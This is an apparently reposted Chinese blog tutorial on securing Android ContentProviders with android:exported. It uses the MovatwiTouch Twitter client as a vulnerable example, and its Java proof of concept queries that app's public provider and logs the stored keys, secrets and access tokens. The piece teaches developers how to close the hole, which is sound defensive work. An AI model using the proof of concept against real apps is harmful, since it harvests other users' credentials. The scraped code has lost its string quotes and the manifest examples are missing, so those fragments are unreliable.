編輯:關於Android編程
ContentProvider類提供了與其他app管理和共享數據的機制。當與其他app共享provider的數據時,必須小心的實現訪問控制,防止對敏感數據的非法訪問。
限制ContentProvider的訪問有三種方法:
Public
Private
Restricted access
[Public]
在AndroidManifest.xml文件中聲明android:exported屬性,ContentProvider就可以公開給其他app使用,Android API Level 16之前的版本,ContentProvider默認是public的,除非顯式的聲明android:exported=“false”,例如:
如果ContentProvider被設置為Public,那麼存儲在ContentProvider裡面的數據就可以被其他app訪問到。因此,設計上必須保證只公開了非保密的信息。
[Private]
在AndroidManifest.xml文件中聲明android:exported屬性,可以將ContentProvider設置為Private的。從Android API Level 17及之後的版本,ContentProvider默認是Private的,不需要顯式聲明,例如:
如果ContentProvider不需要與其他app共享數據,那麼就在manifest文件中聲明android:exported=“false”,需要注意的是,在API Level 8及之前的版本,即使你顯式聲明android:exported=“false”,對應的ContentProvider還是能夠被其他app訪問到。
[Restricted Access]
未完待續
[不符合安全要求的代碼例子]
MovatwiTouch,一個Twitter客戶端,使用ContentProvider來管理Twitter的用戶的key,secret和access token,然而這個ContentProvider是Public的,這使得安裝在同一台手機上的其他應用可以獲取到這些敏感信息。
下面的AndroidManifest.xml文件中Provider聲明沒有指定android:exported屬性,因此,在API Level 16之前,這個ContentProvider是公開的。
[概念驗證]
下面的代碼展示了Public的ContentProvider漏洞如何被利用
// check whether movatwi is installed. try { ApplicationInfo info = getPackageManager().getApplicationInfo(jp.co.vulnerable, 0);[cjl5] } catch (NameNotFoundException e) { Log.w(TAG, the app is not installed.); return; } // extract account data through content provider Uri uri = Uri.parse(content://jp.co.vulnerable.accountprovider); Cursor cur = getContentResolver().query(uri, null, null, null, null);[cjl6] StringBuilder sb = new StringBuilder(); if (cur != null) { int ri = 0; while (cur.moveToNext()) { ++ri; Log.i(TAG, String.format(row[%d]:, ri)); sb.setLength(0); for (int i = 0; i < cur.getColumnCount(); ++i) { String column = cur.getColumnName(i); String value = cur.getString(i); if (value != null) { value = value.replaceAll([ ], ); } Log.i(TAG, String.format( %s: %s, column, value)); } } } else { Log.i(TAG, Can't get the app information.); }
[解決方案]
在AndroidManifest.xml文件中將ContentProvider顯式聲明為
android:exported=“false”
——歡迎轉載,請注明出處 http://blog.csdn.net/asce1885 ,未經本人同意請勿用於商業用途,謝謝——
1.簡單說明淘寶詳情頁就不用我一一介紹了,昨天逛淘寶看到這個效果時,讓我想起了去年剛學習Android只會使用現成的時候,當時在網上找了一個這種效果的使用了,並不懂怎麼實
在上一個例子中,最終我們發現,其實用到的線程只有一個,那就是程序的主線程(UI線程)。那麼怎麼把那個例子改成用新建的線程來實現呢,今天我嘗試了一下,寫了下面這個小程序。
1 背景其實這篇文章可能有些小題大作,但回過頭想想還是很有必要的,有點陰溝裡翻船的感覺。相信大家都知道Android API Level 8開始提供了為應用程序備份和恢復
Fragment 的出現一方面是為了緩解 Activity 任務過重的問題,另一方面是為了處理在不同屏幕上 UI 組件的布局問題,而且它還提供了一些新的特性(例如 Ret